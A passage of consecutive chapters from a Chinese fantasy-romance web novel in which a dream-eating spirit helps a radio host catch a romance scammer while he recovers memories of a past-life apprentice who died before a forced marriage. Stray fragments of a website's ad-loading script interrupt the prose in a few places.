“吃梦是什么感觉?什么梦都吃吗?”洛瑶天马行空地进行了一番想象,发现如果傅以山什么梦都吃也太可怕,毕竟有些人的梦会包含暴力、血腥和一些不可告人的秘密。 “不会,我会挑食,一般只会吃美梦。” “如果那个人的美梦被你吃了,那她是不是就会忘记这个梦?” “你怎么会突然想到这个问题?”活了这么多年的傅以山头一次听别人提出这样的问题。 “因为我感觉我经常记不住做了什么样的美梦,那些不好的梦偏偏记得比较牢固。”洛瑶如实说出了自己以往遇到的情况。 傅以山淡抿着唇,似是想到了什么,放缓语调道:“或许是因为你现在很幸福,人的潜意识会让人更容易记住相对稀少的事,若是人生活在美好之中,苦难便是稀少的事,反之,若是人生活在苦难之中……” “便会更容易记住美好的事?”洛瑶接上话后还是不解,“那这么说记不记得梦和你无关?” “这世上有这么多人,每天晚上都做梦,我不可能都看到。”傅以山苦笑着摇头。 “那你怎么凑巧就注意到我了呢?”洛瑶指着自己的鼻子,歪着头笑。 傅以山忽然想到在很多很多年以前,记忆里的那个和洛瑶几乎长得一样的小女孩也曾这样冲他笑,她问他:“师父,为什么你当年要救我?” 不管是很多很多年以前,还是此时此刻,傅以山始终觉得洛瑶对他来说是一个特别的存在。 在这个世上,上尊于他有收养之恩,神女于他有知遇之恩,他们对他而言,亦师亦友,可他们是神,神爱世人,眼睛里总是带着大局观,看得见他,也看得见这世间所有的一切。 而洛瑶不同,当她用她那双清澈见底的眼睛望向他时,他能在里面看见的只有他自己。 “你有没有想过或许我们的相遇并不是巧合?”包间的暖光落在傅以山琥珀色的瞳孔里,晕染出柔和的色泽。 或许当年他救下那个孩子是一种巧合,但如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 今洛瑶梦到他肯定不是巧合,他留存于人世间这么多年,只有她梦到了他。 或许是命运的安排让他遇见了她,开始恢复一些记忆。 “你是想起了什么特别的记忆吗?”洛瑶想自己之前做的梦不会真的是以前发生过的吧?在梦里,她虽和傅以山师徒相称,但二人之间的关系却远比一般的师徒要亲密许多。 傅以山非常专注而又真挚地注视着洛瑶,把一句十分像渣男语录的话像是在发表毕业论文似的讲了出口: “我只是觉得我们之间存在着一些心灵感应和因果关系。” 洛瑶感觉心里的弦被不轻不重地动了一下,她不知道这算不算心灵感应,原本明明已经按压下去的小心思又因为傅以山的话而肆意疯长。 “那是怎样的心灵感应和因果关系?”洛瑶好奇地问道。 “就比如我能感知到你身处险境,或许因为我和你梦中的洛瑶发生过什么事情,所以让你梦到了我。” “哦……你的意思是古代洛瑶托梦给我?” “是的。” 洛瑶看傅以山的眼神中多了几分打量,“该不会是你当年欠她钱了吧?” 傅以山端起杯子的手微顿,眼眸里似拢住了星芒,嘴角牵起一抹轻浅的笑意,“那你知道我欠了她多少钱吗?” “这是你和她之间的事我怎么会知道。”洛瑶心想,他不会把债务记在我头上吧? “放心,不会是你想的这种因果关系。”傅以山脸上的笑意蔓延至眉眼,手持高脚杯,浅斟慢 原来他也会开玩笑啊,真是个懂得如何蛊惑人心的妖怪。 虽然洛瑶并不是个信命之人,可近期发生这些事还是会让她在神不知鬼不觉的情况下相信一些冥冥中的注定,或者说是前世今生的约定。 * 吃完饭后,傅以山还是当了洛瑶的司机,送她回家。 在洛瑶家小区的停车场停完车,洛瑶刚准备开门下车,突然想到了一件很重要的事情。 “要不你还是和我一起先下车吧。”洛瑶情急之下伸手拉住了傅以山的衣袖,怕他突然施展瞬间移动之术。 傅以山倒也不在意自己昂贵的衣服被洛瑶拉扯出褶皱,皱眉只是单纯的困惑,“怎么了?” 洛瑶比了个向上的手势,讪讪收回自己的手,“停车场这里有监控,你要是突然在这消失有些奇怪。” “原来是这样,那我陪你上楼吧。”说完,也没等洛瑶的意见,傅以山先行开门下车了。 啊这,其实我也不是这个意思,我只是想说你到时候找个监控死角再消失就好了。 洛瑶只好咽下心里的话,跟上了傅以山的脚步。 傅以山现在对她家小区的熟悉程度比她还更像这里的住户。 小区是一梯一户制,从停车场可以直接坐电梯到家,电梯门一开就是住户门。 出于女人某时候天生的直觉,洛瑶在电梯里的时候心里就有种不好的预感,随着电梯楼层的不断攀升,她的耳边出现了越来越清晰的哭声。 瞄了一眼身旁的傅以山后,洛瑶一度以为是自己的幻听,他实在是太淡定了。 直到开门的那一瞬间,看到蹲在她家门口的颜子,洛瑶才敢相信那哭声是真实存在的。 而且正是来自于哭得稀里哗啦的颜子。 15. 警告 和洛瑶不同的是,颜子不是S市本地人,她的家乡是在北方的B市,她父母在B市做生意,平时也不怎么管颜子,颜子一个人自由自在惯了。 可偏偏就是她这么个万草丛中过,片叶不留身的性子,怎么也没想到自己居然遭遇了恋爱“杀猪盘”。 大概一个月前,她在网络社交平台上认识了一个本地男生,发现两个人有很多共同的爱好,聊天甚是投缘,自然而然发展到了线下见面。 这男生一开始很大方,带着颜子到处去吃高级餐厅,出手阔绰,经常送颜子一些礼物,搞得颜子都不好意思了。 男生表示自己家里是在外地做生意的,家底殷实,而他打算在本地拓展业务。 结果没想到前一天还在和颜子说着甜言蜜语的男生,后一天立马转走颜子卡里所有的钱,并且拉黑了她。 意识到被骗财骗色的颜子感觉天都塌了,怒把家里珍藏的酒喝了个精光,第一时间跑来找洛瑶诉苦。 “你前几天不还在警告我别被人骗吗?”洛瑶不争气地拍了颜子两下。 颜子泣不成声:“我也气自己傻啊,不知被下了什么蛊。” “好啦好啦,既然事情已经发生了,我们就要想办法解决它,你现在先休息,等睡一觉头脑清楚了,我们再商量。”洛瑶拿来毛巾,帮颜子擦干净脸。 此时的颜子除了哭,脑子里堪比浆糊,整个人处于完全不能思考的状态,洛瑶只能尽力安抚她,让她先冷静下来。 等到颜子终于沉沉睡去,洛瑶才想起刚刚她是和傅以山一起上楼了,忙着照顾颜子,都忘记他这茬了。 一走出房门,洛瑶便看见傅以山正背对着她,站在窗前,一副岁月静好的样子。 “你怎么还没走?”洛瑶问道。 “我想你或许需要我的帮助。”傅以山转过身,真切的语气让人有一种以为自己听错的感觉。 “帮我?”洛瑶莫名指着自己。 傅以山头一歪,看向洛瑶关上的房门,“你的朋友。” 本来还有点困意的洛瑶直接一整个精神气大涨,三步并作两步走到傅以山面前,欣喜地道:“怎么帮?” 和那时候给洛瑶播放安主播和保安的事情一样,傅以山再次在半空中变出一个屏幕,里面播放的是颜子和骗子之间发生的事情。 那个男生如同颜子描述的一样,长相清秀,穿衣打扮都十分讲究,人模狗样的。 “好神奇啊,你竟然能看到这些,那能找到他现在在哪里吗?”洛瑶虽然已经接受了傅以山时不时给她展现超能力这件事,但还是又一次被逼真的影像折服了。 “别急,你再看看。”说完,傅以山抬手比划了几下。 屏幕里的画面一转,转到了一个类似于KTV包房的地方,里面气氛正嗨,有男有女,其中有个正搂着一身穿红色低领紧身连衣裙性感辣妹的男子正是骗走颜子钱的那个杀千刀的。 “没错,就是他!和刚刚看过的视频里一样!我们现在就去找他吧。”洛瑶光是看到那人带着颜子的钱在外逍遥快活就气得牙痒痒,恨不得立马杀过去。 傅以山一把拽住洛瑶的胳膊,“我们不需要通知警|察吗?” “这事和警|察掰扯不清楚,万一问我们怎么知道他人在那里怎么办?总不能说你有超能力,在他们面前再把视频放一遍吧?” 一想到自己头次见到傅以山就不管不顾地冲到警|察局的行为,着实冒险。 不仅如此,他们现在手头没有证据,这个案子如何按照法律办事还得等颜子醒来才能进行,他们现在能做的就是先堵住这人,最好是能先给他点教训。 “你确定要现在去找他?”傅以山还是有所顾虑,他不知道洛瑶究竟是冲动行事还是已经想好了需要一个什么样的结果。 洛瑶假思索地点了点头,解释道:“现在趁他还没跑远,我们需要先拦住他,不然万一他跑出国了就糟糕了。” 傅以山无奈叹气,下一秒便施展法术,带着洛瑶瞬间移动到了KTV包间门外。 这家KTV的隔音效果不是很好,站在走廊上,都能听到从不同包厢里的各种鬼哭狼嚎。 “你想怎么做?”傅以山半倚靠在门边,微弯下腰问道。 洛瑶的一双眼珠子一直在他脸上打转,听见他清润的嗓音近在咫尺,蓦然红了耳根。 此时门板突然“砰”一响,像是有什么重物猛然撞上来。 洛瑶被吓得打了个冷隔,速度被傅以山拉到一边。 吓归吓,好奇心却是丝毫不减。 洛瑶像做贼一样,用手指小心翼翼地扣在小窗上,探头去看。 仅一秒,洛瑶便立刻噤声躲到了傅以山边上,一张脸涨得通红,恨不得自己没长眼睛。 傅以山以为洛瑶是被什么吓到了,也打算上前去看,谁知洛瑶死死抓住了他的胳膊,拼命摇头。 傅以山不以为意地拍了拍她的手背,以示安慰。 洛瑶无计可施,只能亲眼目睹傅以山往小窗里看了半秒钟然后撤回眼神。 果然,不是什么该看的画面,傅以山轻咳一声。 洛瑶心生一计,用胳膊肘捅了捅他,压低声音问道:“有没有什么法术可以将他们挪开?” 一门之隔里的人依旧沉浸在醉生梦死,打算彻夜狂欢的气氛里,丝毫没有感觉到来自外界的危险。 那个骗走颜子钱的混蛋行事最是大胆,把红裙辣妹压在门板上亲热,边上的人或是在起哄,或是也精虫上脑,也开始对身边的温香软玉动手动脚。 真是伤风败俗的一群人,傅以山握紧了拳头。 要不是因为洛瑶那恳切的眼神,他绝对不会想到要用术法插手人间的这些腌臜事。 就在傅以山的一念之间,原本亲得忘我,飘飘欲仙的骗子突然感觉自己的后脑手被人重重拍了一巴掌。 “妈的,你这个女表子,老子都给你钱了,摸个胸还打人啊?”骗子以为是红裙女打的他,气得把人直接往边上一摔。 那红裙女也怒了,从地上爬起来骂骂咧咧,“你是不是有神经病?自己石更不起来找借口吧?” 这一骂就不得了了,包厢里的其他男人大多都是已经喝上头的酒鬼,要么帮着骗子骂红裙女,要么看热闹不嫌事大,开始嘲笑骗子无能。 而红裙女的那些小姐妹见不得自己的姐妹被欺负,一股脑儿地支持红裙女。 这样一来,场面可相当精彩了,各路人马先前还嘻嘻哈哈的,这会儿没一个感到痛快,互相打了起来,你扔一个话筒,我扔一个花瓶,把能砸的都砸了,噼里啪啦一通乱响。 身为始作俑者的洛瑶贴着小窗像看猴戏似的,边看边笑,时不时还自己拿手比划两下,嘴里还念念有词:“对对对,就往他头上扔,唉,咋没扔准,没事,还有个话筒,快拿快拿!” 站在一旁的“刽子手”傅以山早就停止了法术,哭笑不得。 他也是没有想到这些人这么容易破防,自己只是略施小计而已,就能让他们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 闹成这样。 “喂!你们两个是谁?在那里做什么?”身穿统一制服的服务生不知什么时候出现在了走廊的一头,用手指着洛瑶和傅以山站着的位置,边跑边喊。 从小到大,洛瑶一直是老师和父母心中的乖乖女,没做过什么叛逆的事,第一次做贼心虚的她想也没多想,立刻拉起傅以山的手就往相反方向一路狂奔。 KTV的灯光和镜面的墙体设计在奔跑的路上都变成了光怪陆离的光影,喧闹的人声混杂着风声在耳边呼呼作响。 傅以山被洛瑶拉着跑的时候仿佛置身于另一个世界里,只剩他们两人,他好像不再是会术法的梦貘,而是个只能追随着洛瑶脚步的凡人。 不管她要带他奔向何处,他都无条件地信任她。 也不知道KTV招人的时候是不是加上了参与长跑项目要求,那些服务员一路追到了KTV外面四通八达的小巷里还不肯罢休。 洛瑶感觉自己的四肢都像是灌了铅一样,步伐越来越虚浮,眼瞅着对方就要追上来,只好拉着傅以山先躲进了一条装满了垃圾袋的小巷里,黑色的大垃圾袋正好可以隐藏住蹲下的两个人。 洛瑶上气不接下气,警觉地四处张望着,浑然不觉自己的手把傅以山的手抓的有多紧。 “他们在那里!”巷子口出人意料传来的一个男音把洛瑶吓一大跳。 洛瑶明显感觉到自己的心跳和血压都在疯狂飙升,她急忙用眼神向傅以山求助。 傅以山原先是看着自己被抓的有些变形的手,而后像是被触发了心电感应似的,赤恍恍地撞进洛瑶的视线里。 刚下过雨的空气里还弥漫着湿气,可傅以山的眉眼看起来却像是被墨水浸润过一样,格外清晰,洛瑶原本狂跳不止的心脏慢了下来,连时间都在这一刻停摆,只有一阵酥麻的感觉瞬间传到四肢百骸。 “找到人了!你们两个还不出来!”感觉到胜利在望的服务生猖狂地大笑,拿起手里的棍棒,高高举起,重重地落在一摞子垃圾袋上。 可谁曾想那垃圾袋后面早就已经空无一人了。 已经回到自己家的洛瑶低头一看自己还拉着傅以山不放,急忙尴尬地推开他,从地板上爬起来,整理了下自己的一副,拍了拍红扑扑的脸,让自己清醒了几分,终于能完整说出一句话来:“你怎么不早点施法,那样我们都不用跑了。” “在移动过程中不能施法。”相比于洛瑶的不知所措,傅以山极为淡定地直起腰身,身上的衣服连一个褶子都没有,除了袖子有点被扯变形。 “唉,可惜,忙活了半天,没能将他们抓住。”洛瑶扼腕道。 “其实我们并不是无功而返。”傅以山走到洛瑶身前,伸出手,试图将洛瑶眉间的褶皱抚平。 指尖传来的触感如羽毛般轻柔,却像是在洛瑶的心上挠了一下,令她呼吸一滞,忘记了应该要躲闪,完全被傅以山的一举一动吸引住了。 “今天闹这么一出,他们几个人肯定会被送进派出所,到时候明早我们可以直接带颜子去派出所报案。”傅以山目光流转之间,透着一贯的亲切感,嗓音优雅低醇,语速不急不缓,莫名缱绻撩人。 洛瑶感觉自己有点完蛋,母胎单身二十几年,第一次对一个非人类竟然产生了一种不受控制滋生出的心动,心跳的声音在她耳边回荡,让她无法再思考任何事。 不管傅以山是不是人类,令她心动的就是此时站在她面前的他——在21世纪某个原本平凡无奇的日子,闯入她世界里的他。 16. 师父 夜色沉酽,街道两旁仅剩的最后一家店铺也将卷拉门拉上,发出的声音格外响亮。 街道恢复了安静之后,位于街道尽头的派出所发出的光亮格外吸引人的注意力。 原本也应该笼罩在安静氛围中的派出所此刻因为一群不速之客的到来而变得忙碌起来。 骗走颜子钱的那位青年第一个接受完审问,被关了起来,靠着墙,两眼一闭,昏睡过去。 迷迷瞪瞪之间,他感觉自己醒了过来,还顺利地走出了警局,遇到的人都对他视而不见,他像是一缕幽魂飘荡在空无一人的街上。 路灯在地上投射出来的光将道路分割成明暗两部分,就在他刚一踏入黑色阴影处的那刹那,面前出现了一个黑色的人影,挡住了他。 “你不应该在这里。”低沉的嗓音中带着不容置喙的威慑。 黑气从那名青年的脚底渗出,渐渐形成一团雾气,包裹住他整个身体,并不断向外扩散。 “呵,好久不见,梦貘大人。”魇昧操控着骗子的身体,慢慢升至半空中。 傅以山不想多费口舌,猝不及防就直接出招将魇昧击落。 一时不察的魇昧不甘心地再度爬起来,一整个躯体开始挣扎、扭曲,发出歇斯底里的尖叫声:“梦貘!你以为你能杀得了我吗?” 只见魇昧聚拢起了一圈又一圈浓黑的雾气,使出全力朝傅以山发出攻势。 不知道是魇昧真的变强了,还是傅以山这段时间的力量弱了,以往轻而易举便能打败魇昧的傅以山竟然在此战中没有获得任何压倒性的上风之势。 魇昧的气焰愈发嚣张的同时,傅以山显得有些力不从心。 眼见天边开始泛白,大街已经快要不适合进行战斗之际,傅以山思索着该把魇昧引去哪里。 而魇昧更是知道白天对自己的不利,白天的魇昧将会失去百分之七八十的战斗力。 趁着傅以山一个转身,魇昧以极快的速度从他头上穿过绕到他的身后,袭击了他的后背,等傅以山反应过来之时,魇昧已经钻地逃走了。 傅以山朝前一踉跄,吐出了一口鲜血。 * 清晨六点,明明就算洛瑶上早班也不用起这么早的时间点,躺在床上的洛瑶睁开了双眼。 “咚——”从客厅传来的一声重物落地的声音让洛瑶顿时心惊胆战。 她侧过头,看到一旁的颜子还在呼呼大睡,心想着外头到底有什么。 之后的几分钟里,外头再也没有其他声音,这让洛瑶又胆子大了几分,披上衣服,准备拉开房门看一眼。 她走到门边,将房门拉开一条缝,对流的空气带来一□□,将客厅窗边的窗帘吹起,这让她一眼就看到了倒在窗下的身影——他身上的衣服是先前傅以山穿着的那件黑色长款大衣! 是傅以山! 洛瑶瞬间感觉如鲠在噎,心脏被什么东西揪紧了,她急忙跑到傅以山身边,将他扶了起来。 “傅以山!傅以山!你怎么了?快醒醒!”陷入慌乱之中的洛瑶试图用声音唤醒傅以山。 傅以山身上没有外伤,脸色却惨白,唇上没有一丝血色,双眼紧闭,但好在心跳和呼吸都还正常。 “你不要吓我,你都还没有告诉我要送你去人类医院还是宠物医院……”洛瑶拍了拍傅以山的脸。 恢复了一点意识的傅以山抓住了洛瑶的手,睁开了眼睛,试图辨认着眼前的景象。 他记得眼前的人是洛瑶,她生活在21世纪,是名电台女主播,而他记忆中的那个洛瑶年芳二八,平素喜欢抚琴,总是称他为师父。 可偏偏在此时此刻,记忆中的那张脸和眼前之人重叠在了一起,前尘往事纷至沓来,记忆的碎片极速拼凑,一会儿是金戈铁马的战场,一会儿是富丽堂皇的宫殿,兵刃相碰的喧嚣声夹杂着不知是谁的哭喊…… “阿瑶,都是为师的错,是为师害了你。”傅以山伸出手,轻轻触碰洛瑶的面颊,眼里泛出疼惜的涟漪。 洛瑶有些莫名,脸颊上传来的温度不断上升,她不禁出声提醒道:“你是不是生病了?我扶你去沙发上休息吧。” 傅以山没有回答,眼睛重新闭上,再度失去了意识。 洛瑶无奈,只好硬着头皮将傅以山拖到沙发上,给他找了条毯子,本来想靠在沙发边上喘口气,却因为抵挡不住睡意而直接睡了过去。 * 洛瑶又做了一个关于古代“洛瑶”的梦。 那是在一个端午节,用过午膳之后,傅以山便请辞要出发去营地。 “师父!”洛瑶提着裙子,一路小跑,终于在傅以山出发前找到他。 “何事如此慌张?”为避免刀剑伤人,傅以山将佩剑挂至腰间。 洛瑶在他面前伸出手,摊开,雪白的掌心中间是一条五彩斑斓的手链。 “我想送你这条手链,这是我亲手做的。”洛瑶羞怯地垂下头,脸颊和耳根都渐渐染上嫣红。 傅以山把手链拿在手里端详,手链是用不同颜色的珠子串联而成,每颗珠子都像是精心打磨过,在阳光下显得透亮。 “我阿娘说端午节要驱凶辟邪,我在书上看到说用各种颜色的琉璃珠串成的手链有辟邪的作用。”洛瑶抬起头解释起来,津津乐道,眼珠子里满是发亮的神采。 “你啊你,小小年纪,怎可如此迷信?是在什么书上看到的?那本书以后别再看了。”傅以山眉梢往上一挑,眸光里氤氲着温柔的笑意,用手指轻轻在洛瑶额头弹了一下。 洛瑶条件反射拿手捂额头,那里的皮肤没有任何痛感,只是因为傅以山的触碰而微微发烫起来。 她轻轻咬着下唇,眼神中流露出迟疑和矛盾,仿佛在和自己进行无声的斗争。 “时候不早了,为师该出发了。”傅以山看出了洛瑶的窘迫,给了她一个鼓励的眼神,“有什么话想说便说吧。” “师父,我……我阿娘有个问题想问你。”洛瑶双手不自觉抓紧了衣服一角,把头微微仰起,下颌绷成一条直线。 “你阿娘?”傅以山抿嘴浅笑。 怕被看穿谎言的洛瑶目光闪烁,语气却坚定:“是啊,她想问你为什么这般年岁还没有娶妻?” 傅以山的神情里闪过茫然,“你是觉得我年纪大?” 洛瑶赶紧摇头,语速变得急切起来:“不不不,我不是这个意思,我是想问师父想要找什么样的妻子?” 一向杀伐果决,头脑清明的傅以山迟疑了好几秒,琥珀色眼眸里染上黯色,只听得他淡淡道:“洛瑶,我不会娶妻。” “为什么?阿娘说世间男子都要娶妻,女子都要嫁人。” 傅以山本来微敛的神色稍霁,嘴角浮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 现出平日里的和煦笑意:“洛瑶可是想要嫁人了?” “师父!现在是在讨论师父您的终身大事,为何牵扯与我?”洛瑶顿时感觉自己在傅以山的注视下,浑身都不自在,忙不迭地将目光移向别处。 傅以山还是像对待小孩子那样,掌心朝下,落在洛瑶头顶上,弯腰同她说道:“洛瑶,你阿娘说的不对,娶不娶妻,嫁不嫁人都应该是自己个人的选择,与世间其他人无关。” “洛瑶!”一个女人的声音从不远处传来。 “可能是你娘找你,那我就先走了,记住,那些乌七杂八的书可别再看了。”傅以山将手向下按了按,转身便只留给洛瑶一个背影了。 洛瑶还来不及体味头顶被压的感觉,又听见了那个喊“洛瑶”的女声。 “娘!”洛瑶顺着声源而去,模模糊糊地看见了一个穿着古代汉服的身影,她刚想走进一点看清楚,就被人抓住了肩膀。 洛瑶眼睛一闭再一睁开时,面前哪还有什么汉服女人,取而代之的是颜子那一张放大的脸。 刚刚所经历的那种悸动仿佛是她产生的错觉,串联起她近期做的几个梦,那个古代“洛瑶”似乎对傅以山有一种区别于正常师徒关系的情愫。 师生恋放在当下也依旧是个容易产生非议的话题,何况是在那个时代? 她下意识地看向自己的手腕,她现在手上所戴的手链和梦中洛瑶给傅以山的一模一样。 “洛瑶,你怎么回事,这句‘娘’我可承受不起,我年芳二八,才没有你这么个好大儿。”颜子打趣道。 听见颜子的声音,洛瑶瞬间安神定魄,一拍脑门道:“你还有心思在这开玩笑,赶紧的,我们去派出所。” “去派出所干嘛?”颜子惊奇地像半截木头戳在地板上。 洛瑶翻身从沙发上下来,四下张望了一下,问道:“你有看到傅以山吗?” “傅以山?你还跟他有联系啊?”颜子惊叹道,她对傅以山的记忆还停留在他和他的孩子。 洛瑶摆了摆手,觉得当务之急还是先把颜子这事给处理了。 昨天她被傅以山带去的那个地方,幸好她早有准备,记下了地址,只要现在和颜子去报案就行。 一路上,颜子听洛瑶讲述他们追凶的故事,当然,她很知趣地把傅以山用超能力这件事给省略的,可颜子听完之后还是一整个热血澎湃。 “这么有趣的一件事,你怎么当时不叫醒我一起呢?”颜子兴奋不已。 “有趣?姐姐,当时那些人各个都都拿那么长一条棍追出来,这要是被敲上一下,你今天都见不到我了。”洛瑶边说边比划着棍子的长度。 颜子摸了摸她的头,嘻嘻笑道:“辛苦你了,话说你那个朋友真厉害!这都能找到。” 不知为什么,今天一醒来没看到傅以山,洛瑶总觉得心里不踏实,眼皮直跳,她给他发微信也没回,也不知道他身体怎么样了,有没有去医院。 好在颜子的事情,终于有了个好结果。 警方很快帮她们进行处理,那个骗子骗走颜子的钱还没来得及花多少,颜子收回了些钱,骗子也得到了他应有的惩罚。 洛瑶和颜子顺利地走出警局,互相道别之后,各自回到家中。 仰躺在床上的洛瑶看了眼手机,傅以山竟然这一整天都没有任何消息。 17. 阿瑶 “你全都想起来了?”神女坐在自家阳台上,一边享用着傅以山带给她的芋圆仙草冰,一边好奇地问道。 傅以山端着咖啡的手微顿,轻叹道:“我一个失忆的人怎知自己记起的是不是全部。” 神女的眼神不住往他身上瞟,头晃了数下,声音里浮现出几分警惕之意:“你和我讲讲你记起了什么呗。” 既然已经选择来找神女,傅以山也没有打算要瞒着她,毕竟在人类的世界里,只有神女知道他身上所发生的事情了。 他记得那时候上尊和他说接下来的一战将是他们在人间的最后一战,此战之后,人间将会迎来太平盛世。 最后一战格外漫长,远超过傅以山的预期,他连续长达半年都没有回家,前五个月里,他每一个月都会受到洛瑶的来信,可奇怪的是最后一个月,他一封信都没有收到。 等到他再一次听到洛瑶的消息时,已是他和上尊一起兵临南夏都城的时候,上尊同他一起站在瞭望台上。 上尊告诉他,洛明志此人野心勃勃,一回到南夏就迫不及待攀附权贵,为了能够加入太子一党,不惜牺牲掉自己的女儿。 而此时的洛瑶并不再是北辰将军的徒弟,据传言,她即将要成为南夏的太子妃。 “或许阿瑶是真的找到了她的心爱之人呢?”傅以山不懂情爱,却也知道他们人类最重视情义二字,他深知阿瑶是怎样的性子,如果有人要强迫她做什么,她定是不会答应的。 上尊忽地敛颚笑了,目光锁定远方的都城,问道:“以山,你当年为什么要救下洛明志一家?” 傅以山不确定地答道:“大概是出于同情?” “那后来呢?为什么一直收留他们?” “洛兄见多识广,棋艺高超,我向他了解到很多关于人间的事情。” “就只是因为如此?可洛明志毕竟是南夏人,而我们目前的身份是北辰的将领,你有考虑过他或许待你不是真心吗?” 傅以山望向和上尊相同的方向,略微沉吟片刻,轻叹道:“我知道他不是真心待我,他一直和南夏人有来往,也一直想找机会回到南夏。” 听到傅以山如此淡定地说出真相,上尊像是听到了什么好玩的事情,脸上笑意加深,“哦?既然你一直知道他别有用心,为什么还留着他?” 傅以山垂眸,语气淡漠:“他没有伤害我,也伤害不了我。” “那你觉得你的徒弟洛瑶如何?” “她并不知道他父亲秘密筹谋的这些事,她是个心思单纯的孩子,非常善良,如果可以的话,我希望她不要卷入这些复杂之事,我会保护她的安全。” “就只是保护?你觉得你能护她到几时?这还真是有趣,洛明志处心积虑潜伏在你身边多年,如今也算是得偿所愿,功成名就,只可惜……”上尊眼波流转,手向后甩开衣袖。 “可惜什么?”傅以山侧过身,眼底带着一缕诧异。 上尊抖了抖衣袖,将手指向前方都城最中心的那座巍峨宫殿的正上方。 墨色的云雾犹如洗砚台的池水,没有丝毫日光透进来,整个皇城都笼罩在一张灰白色的织网里,一副山雨欲来风满楼之势正悄然而至。 “大厦将倾,国将不国,何以为家?”上尊轻轻叹息,语气里透着些许凝重。 自古以来,在海晏河清之前必有一场恶战。 傅以山如同大梦初醒,瞳孔微缩,俊美无俦的脸上难得浮现出诡谲的寒意。 * 南夏是个极度奉行天道的国家,南夏太子的娶妻之日早在太子出生之时就已拟定,司天监太史预言该日若能顺利举行仪式,许久未平的战事将息,重归四海升平。 可就在举行仪式前一晚,北辰军出其不意,攻其不备,在圆月升空之际,带兵剑指王庭。 进入都城之后,傅以山带了一队人马直奔太师府,洛明志及其夫人双双被扣押,全府上下跪膝求饶,唯独少了一人。 “我再问你一遍,阿瑶现在何处?”傅以山的长剑点地,剑锋势气凌人。 洛明志抬头望向傅以山,冷笑道:“傅将军这事何意?吾女阿瑶乃是当朝太子妃,难不成傅将军想做什么违背纲常之事吗?” 傅以山抬起手臂,看向手腕上的那串彩色琉璃珠,万物皆有灵,这手链是洛瑶亲手所制之物,存有洛瑶的气息正在不断消散。 “她到底在哪里!”面色阴沉下来的傅以山下一秒便将剑架在了洛明志的脖子上。 “傅将军息怒!奴婢知道小姐在哪里!”一旁的角落里传来拼尽全力喊出的声音。 傅以山放下剑,寻声望去。 喊话者正是洛瑶的贴身婢女,原本应该时刻陪伴在洛瑶身边的人,此时出现在这里,傅以山的心情愈发沉重起来。 “连枝你闭嘴!你难道要背叛洛家吗?”自知已是濒死之人的洛明志挣扎着想脱离桎梏,奈何两侧各有一人紧紧按压着他的肩膀。 傅以山没再管洛明志,而是一路跟随婢女的脚步来到一间厢房。 婢女的脚步停在的屋外,将一份信交给傅以山,泪流满面道:“傅将军……小姐……小姐她就在屋内。” 傅以山直觉胸间窒闷,忘了是怎么接过信走进房间的,等他回过神的时候,人已经站在床前,亲眼看见了那原本应该欢喜成婚的新娘变成一具冰冷尸体的模样。 从前她一见到他明明就会热切地喊他“师父”,而今日她的唇毫无血色,面容惨淡如霜,双眼紧紧的闭着,再也没有一丝生气。 “阿瑶……”傅以山久久才从喉咙里发出一个破碎的声音,他蹲下身,感觉自己全身的力气逐渐被抽空,痛苦如同毒藤将他浑身捆绑,经过一番努力,他才颤抖着抓住了洛瑶的手。 她的手冰冷而又僵硬,任凭傅以山怎样捏紧,也不会再有人喊痛。 不知不觉中,眼泪已经止不住从傅以山的眼角滑落,他在绝望的深渊里展开了洛瑶写给他地最后一封亲笔信: “见字如面,傅以山,这是我第一次这么称呼你也是最后一次,一直以来,你都是我最该敬爱的师长,可是对不起,不知从何时开始,我对你产生了私心。” “临别之时,你曾告诉我你不会娶妻,那时候我就知道你的心里从来都没有儿女私情,一切都只是我的一厢情愿而已,但我还是想一直一直陪在你的身边,就算只是以徒弟的名义,我也会觉得是全天下最幸福 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 之事。” “可惜上苍不肯给我这个机会了,爹爹将我打晕,我被迫来到南夏,还被一个快要死了的老头指腹为婚,我最后悔的一件事就是没能向你学武,不然我说不定还有机会回到你的身边……” 傅以山通红的双眼微微弯下,嘴角向上抽动了一下,又哭又笑,像疯了一样把手握拳抵着下颚,唇齿间渗出鲜血的铁锈味。 “傅以山,我知道你会来见我的对吗?你那么厉害,南夏这些人根本不是你们的对手,可是我等不到见你了,明天我就要嫁人了。” “我很讨厌那个太子,他长得又矮又丑,看人的眼神还总是色眯眯的,你说娶不娶妻,嫁不嫁人都应该是自己个人的选择,那为什么这世间的其他人都要逼我嫁人呢?而且还是要嫁给讨厌的人。” “我娘说父母之命,媒妁之言。我爹说这是御赐的良缘,若是拒婚,全家都会遭殃。司天监太史说我的命格,天生就是要嫁入皇室的,所有人都应该顺应天道。” “我真的是烦透了他们,也同时痛恨着自己的无能,我只求一个解脱,我希望你能将我的尸身带回北辰,我好想在来年春天的时候,再见一见北辰的那些花。” 洛瑶的绝笔信,一字一句如同一颗颗钉子被敲在傅以山的心上,痛至全身,时光荏苒,明明已经忘却的记忆魂归故里,那些痛楚也再度席卷而来。 即便他再不懂七情六欲,也明白在那样的年代,作为徒弟的洛瑶喜欢上师父是一件多么不被容忍的事情。 通过洛瑶的自白,他清楚地感知到了她的情真意切。 纵使沧海桑田,世纪轮转,那一笔一画,还是如同清晰可见。 “好孩子,你也是厉害,把这份信的内容一字不差地都记起来了。”神女抹了一把脸上的泪水,抽噎着,拍了拍傅以山的肩膀,“那后来呢?你带她回北辰了吗?” 神女的声音唤回了傅以山的神智,他闭上眼睛平复了内心的汹涌澎湃,再次睁眼时,眼底平添了几分孤寂之感。 “我忘了。”傅以山凝视远方,轻声淡道。 “忘记了?!”神女急得连忙从双脚站上一起,居高临下指着傅以山问,“这么重要的结局你居然忘了?” “结局?”傅以山侧眸看向她,自嘲道:“即便来日花开遍野,北辰风光无限,她……” “笨蛋,我不止说的是她的结局,还有你,你为什么会失忆?明明她对你来说这么重要!你怎么能忘记她?”神女双手叉腰,小孩子的身躯已经不够她发挥了,她恨不得现出原身,像教训小孩那样将他打一顿。 